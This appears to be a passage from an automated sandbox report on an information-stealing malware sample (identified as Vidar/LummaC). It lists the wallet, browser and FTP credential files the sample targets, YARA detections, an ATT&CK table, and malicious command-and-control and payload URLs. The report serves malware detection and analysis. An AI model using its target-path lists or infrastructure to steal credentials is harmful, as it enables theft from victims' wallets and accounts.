Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6112, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.HCAEHDHDAK.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2729402755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.VLSiVR4Qxs.exe.3edad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.VLSiVR4Qxs.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.VLSiVR4Qxs.exe.3edad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VLSiVR4Qxs.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6112, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C6A0C40 sqlite3_bind_zeroblob,

1_2_6C6A0C40

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	3 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	65 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	261 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	511 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
VLSiVR4Qxs.exe	37%	ReversingLabs	Win32.Trojan.Generic
VLSiVR4Qxs.exe	100%	Avira	HEUR/AGEN.1310458
VLSiVR4Qxs.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\a43486128347[1].exe	100%	Avira	HEUR/AGEN.1310458
C:\ProgramData\HCAEHDHDAK.exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\a43486128347[1].exe	100%	Joe Sandbox ML
C:\ProgramData\HCAEHDHDAK.exe	100%	Joe Sandbox ML
C:\ProgramData\HCAEHDHDAK.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sql[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\a43486128347[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199780418869	100%	URL Reputation	malware
http://cowod.hopto.org_DEBUG.zip/c	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://t.me/ae5ed	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cowod.hopto.org	45.132.206.251	true	true	unknown
s-part-0036.t-0009.t-msedge.net	13.107.246.64	true	false	unknown
nsdm.cumpar-auto-orice-tip.ro	147.45.44.104	true	false	unknown
lade.petperfectcare.com	95.164.90.97	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
exemplarou.sbs	188.114.97.3	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	true		unknown
http://lade.petperfectcare.com/mozglue.dll	true		unknown
laddyirekyi.sbs	true		unknown
isoplethui.sbs	true		unknown
http://lade.petperfectcare.com/nss3.dll	true		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe	false		unknown
https://steamcommunity.com/profiles/76561199780418869	true	URL Reputation: malware	unknown
invinjurhey.sbs	true		unknown
http://cowod.hopto.org/	true		unknown
https://exemplarou.sbs/api	true		unknown
exilepolsiy.sbs	true		unknown
http://lade.petperfectcare.com/sql.dll	true		unknown
http://lade.petperfectcare.com/	true		unknown
http://lade.petperfectcare.com/msvcp140.dll	true		unknown
http://lade.petperfectcare.com/freebl3.dll	true		unknown
http://lade.petperfectcare.com/softokn3.dll	true		unknown
bemuzzeki.sbs	true		unknown
exemplarou.sbs	true		unknown
http://lade.petperfectcare.com/vcruntime140.dll	true		unknown
wickedneatr.sbs	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	JJDBAE.1.dr	false	URL Reputation: safe	unknown
https://exemplarou.sbs/	MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com/freebl3.dll~t	MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	JJDBAE.1.dr	false	URL Reputation: safe	unknown
http://cowod.BKFHIDGCFBFC	MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.GCFBFC	MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org	MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	GDGHJE.1.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com:80t-Disposition:	MSBuild.exe, 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	JJDBAE.1.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.orgHJE	MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://exemplarou.sbs/(	MSBuild.exe, 0000000C.00000002.2736549222.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com:80/sql.dll	MSBuild.exe, 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe1kkkk	MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org_DEBUG.zip/c	VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cowod.hopto.org/TZ	MSBuild.exe, 00000001.00000002.2714480163.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.	MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	JJDBAE.1.dr	false	URL Reputation: safe	unknown
http://cowod.hopto	MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com:80	VLSiVR4Qxs.exe, VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com/K	MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000001.00000002.2737753513.000000001D71D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com/#	MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/ae5ed	VLSiVR4Qxs.exe, VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		unknown
https://mozilla.org0/	MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JJDBAE.1.dr	false		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe3	MSBuild.exe, 00000001.00000002.2714480163.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com/softokn3.dll=	MSBuild.exe, 00000001.00000002.2714480163.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://exemplarou.sbs/7y	MSBuild.exe, 0000000C.00000002.2736549222.0000000000BED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	JJDBAE.1.dr	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
http://cowod.hoptoDGCFBFC	MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	JJDBAE.1.dr	false	URL Reputation: safe	unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exeC	MSBuild.exe, 00000001.00000002.2714480163.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IDHIDB.1.dr	false	URL Reputation: safe	unknown
https://exemplarou.sbs:443/api	MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/5xx-error-landing	MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	JJDBAE.1.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com:80nfwqnfwovfdkhttps://steamcommunity.com/profiles/76561199780418869u5	VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	IDHIDB.1.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	false	URL Reputation: safe	unknown
